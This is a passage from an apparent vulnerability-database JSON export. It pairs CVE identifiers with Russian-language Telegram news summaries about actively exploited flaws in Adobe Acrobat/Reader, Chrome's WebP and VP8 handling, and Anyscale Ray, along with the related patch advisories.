\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Firefox \u0438 Thunderbird.\n\nAdobe \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f 0-day \u0432 Acrobat \u0438 Reader, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u0435\u0449\u0435 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u0447\u0442\u043e 0-day \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b \u043a\u0430\u043a \u0441\u0438\u0441\u0442\u0435\u043c\u044b Windows, \u0442\u0430\u043a \u0438 macOS, \u0430 \u0430\u0442\u0430\u043a\u0438 \u043d\u043e\u0441\u0438\u043b\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 \u0442\u0430\u0440\u0433\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440.\n\nCVE-2023-26369 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f RCE \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0438\u0445 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\u041d\u043e \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043b\u0438\u0448\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u0418 \u0432\u0441\u0435 \u0436\u0435 Adobe \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435, \u0432 \u0438\u0434\u0435\u0430\u043b\u0435 \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 72 \u0447\u0430\u0441\u043e\u0432.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u043d\u0435\u0435 Adobe \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0432 Connect (CVE-2023-29305 \u0438 CVE-2023-29306) \u0438 Experience Manager (CVE-2023-38214 \u0438 CVE-2023-38215), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 XSS-\u0430\u0442\u0430\u043a.", "creation_timestamp": "2023-09-13T12:00:23.000000Z"}, {"uuid": "0dd57320-db2a-4925-9dfa-de6d20db6dca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "https://t.me/true_secator/4905", "content": "Google \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043f\u044f\u0442\u0443\u044e 0-day \u0432 Chrome, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0443\u044e \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0432\u044b\u0437\u0432\u0430\u043d\u0430\u00a0 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438\u00a0\u0432 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0435 VP8 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0432\u0438\u0434\u0435\u043e\u043a\u043e\u0434\u0435\u043a\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c libvpx.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0440\u0430\u0437\u043d\u044b\u043c\u0438: \u043e\u0442 \u0441\u0431\u043e\u0435\u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043e RCE.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u044e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0435\u0439 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0438 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f CVE-2023-5217.\n\n\u041e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Google Threat Analysis Group \u0432 \u043f\u043e\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u0438\u043a, 25 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f.\n\n\u0414\u043e \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u043b\u0430 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u0438 \u0441\u0442\u0430\u0432\u0448\u0438\u0435 \u0435\u0439 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u043c\u0438 \u043e\u0431\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u041c\u044d\u0434\u0434\u0438 \u0421\u0442\u043e\u0443\u043d \u0438\u0437 Google TAG \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f CVE-2023-5217 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e\u0433\u043e \u041f\u041e, \u043a\u0430\u043a\u043e\u0433\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u043e\u043a\u0430 \u043d\u0435 \u044f\u0441\u043d\u043e.\n\n\u0415\u0441\u0442\u044c \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0447\u0442\u043e \u043d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435\u043c \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u0433\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f Citizen Lab \u0438 Google TAG \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u043e\u0442\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0439 \u043a\u0430\u043a CVE-2023-4863.\n\n\u041a\u0441\u0442\u0430\u0442\u0438, \u0435\u0441\u043b\u0438 \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430 \u0435\u0435 \u043a\u0430\u043a \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0432 Chrome, \u0442\u043e \u043f\u043e\u0437\u0436\u0435\u00a0\u043f\u0440\u0438\u0441\u0432\u043e\u0438\u043b\u0430 \u0435\u0449\u0435 \u043e\u0434\u043d\u0443 CVE (CVE-2023-5129) \u0438 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 10/10.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e\u0433\u043e \u041f\u041e \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e \u0441  \u043a\u0430\u043a\u00a0CVE-2023-41064. \u041e\u0431\u0435 \u0431\u044b\u043b\u0438 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0441 \u043d\u0443\u043b\u0435\u0432\u044b\u043c \u0449\u0435\u043b\u0447\u043a\u043e\u043c \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c BLASTPASS.\n\n\u041f\u043e\u0437\u0436\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Rezilion \u0443\u0432\u0438\u0434\u0435\u043b\u0438, \u0447\u0442\u043e \u043c\u0430\u0441\u0448\u0442\u0430\u0431 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0433\u043e\u0440\u0430\u0437\u0434\u043e \u0448\u0438\u0440\u0435, \u0447\u0435\u043c \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u043b\u043e\u0441\u044c \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e.\n\n\u041f\u0440\u0438 \u0431\u043e\u043b\u0435\u0435 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u043c \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u0438 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0431\u0430\u0433\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 libwebp, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u0431\u043e\u043b\u044c\u0448\u043e\u043c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Signal, 1Password, Mozilla Firefox, Microsoft Edge, Apple Safari, Android browser \u0438 \u0434\u0440.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c libwebp, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u044b \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443 \u0438 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438, \u0432\u044b\u0437\u044b\u0432\u0430\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043e\u043f\u0430\u0441\u0435\u043d\u0438\u044f \u043a\u0430\u043a \u0443 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432, \u0442\u0430\u043a \u0438 \u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.", "creation_timestamp": "2023-09-28T12:42:45.000000Z"}, {"uuid": "a00e6447-b6ef-4abf-b258-2ebee01b298f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "https://t.me/true_secator/4836", "content": "Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f 0-day \u0432 Chrome 116.\n\nCVE-2023-4863, \u0438\u043c\u0435\u044e\u0449\u0430\u044f \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 WebP, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0441\u0431\u043e\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\nWebP - \u044d\u0442\u043e \u0444\u043e\u0440\u043c\u0430\u0442 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u043d\u043e\u0435 \u0441\u0436\u0430\u0442\u0438\u0435 \u0438 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u043f\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044e \u0441 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u043c\u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u0430\u043c\u0438 JPEG \u0438 PNG \u0438 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u0441\u0435\u043c\u0438 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u043c\u0438 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430\u043c\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Chrome, Firefox, Safari, Edge \u0438 Opera.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u044f\u043c Google, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f CVE-2023-4863 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435.\n\n\u041e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0442\u0430\u043b\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e 6 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f \u043f\u043e\u0441\u043b\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f Apple Security Engineering and Architecture (SEAR) \u0438 Citizen Lab, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u043a\u0430\u043a \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043d\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0438 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432 spyware.\n\n\u041a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e, Google \u0432\u043e\u0437\u0434\u0435\u0440\u0436\u0430\u043b\u0430\u0441\u044c \u043e\u0442 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438. \u041d\u043e \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u0437\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435\u043c \u0441\u0442\u043e\u044f\u043b\u0438 SEAR \u0438 Citizen Lab, \u0441 \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0434\u043e\u043b\u0435\u0439 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u0438, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043e\u0434\u043d\u0438\u043c \u0438\u0437 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432 \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e\u0433\u043e \u041f\u041e.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u043f\u0430\u0442\u0447 Google Chrome \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u0432\u0441\u0435\u0433\u043e \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u043d\u0435\u0439 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a Apple \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e\u0431 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438\u00a00-day \u0432 iOS \u0438 macOS, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 Citizen Lab \u0432 \u0445\u043e\u0434\u0435 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0439 \u0441\u043e \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u0438\u043c \u041f\u041e Pegasus \u043e\u0442 NSO Group.\n\nCVE-2023-4863\u00a0- \u044d\u0442\u043e \u0443\u0436\u0435 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u0430\u044f 0-day, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f Google \u0432 Chrome \u0432 \u044d\u0442\u043e\u043c \u0433\u043e\u0434\u0443 \u043f\u043e\u0441\u043b\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f CVE-2023-3079\u00a0(\u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0430 \u0442\u0438\u043f\u043e\u0432 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8) \u0432 \u0438\u044e\u043d\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 CVE-2023-2033\u00a0(\u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0430 \u0442\u0438\u043f\u043e\u0432 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8) \u0438\u00a0CVE-2023-2136 (\u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u043e\u0435 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0432 Skia) \u0432 \u0430\u043f\u0440\u0435\u043b\u0435.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f Chrome \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043a\u0430\u043a 116.0.5845.187 \u0434\u043b\u044f macOS \u0438 Linux \u0438 \u043a\u0430\u043a \u0432\u0435\u0440\u0441\u0438\u0438 116.0.5845.187/.188 \u0434\u043b\u044f Windows.", "creation_timestamp": "2023-09-12T14:01:05.000000Z"}, {"uuid": "96b5832d-3fd7-4092-97c6-3a114ded7c7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48022", "type": "seen", "source": "https://t.me/NeKaspersky/3626", "content": "\u041f\u044f\u0442\u044b\u0439 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b\u0438 \u0441\u043e\u0442\u043d\u0438 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u043e\u0432 \u0441 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c\u0438 \u0438\u0441\u043a\u0443\u0441\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0430 Anyscale Ray. \n\n\u041f\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0435\u0449\u0451 \u0432 \u043d\u043e\u044f\u0431\u0440\u0435 2023 \u0433\u043e\u0434\u0430, \u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u0437 \u043d\u0438\u0445. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043f\u043e\u0441\u0447\u0438\u0442\u0430\u043b\u0438, \u0447\u0442\u043e CVE-2023-48022 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439, \u0442\u0430\u043a \u043a\u0430\u043a \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0431\u044b\u043b\u043e \u0434\u0430\u0432\u043d\u0438\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c. \n\n\u041a\u0430\u043a \u0438\u0442\u043e\u0433, \u0431\u0440\u0435\u0448\u044c \u043f\u043e\u043c\u043e\u0433\u043b\u0430 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0430\u043c 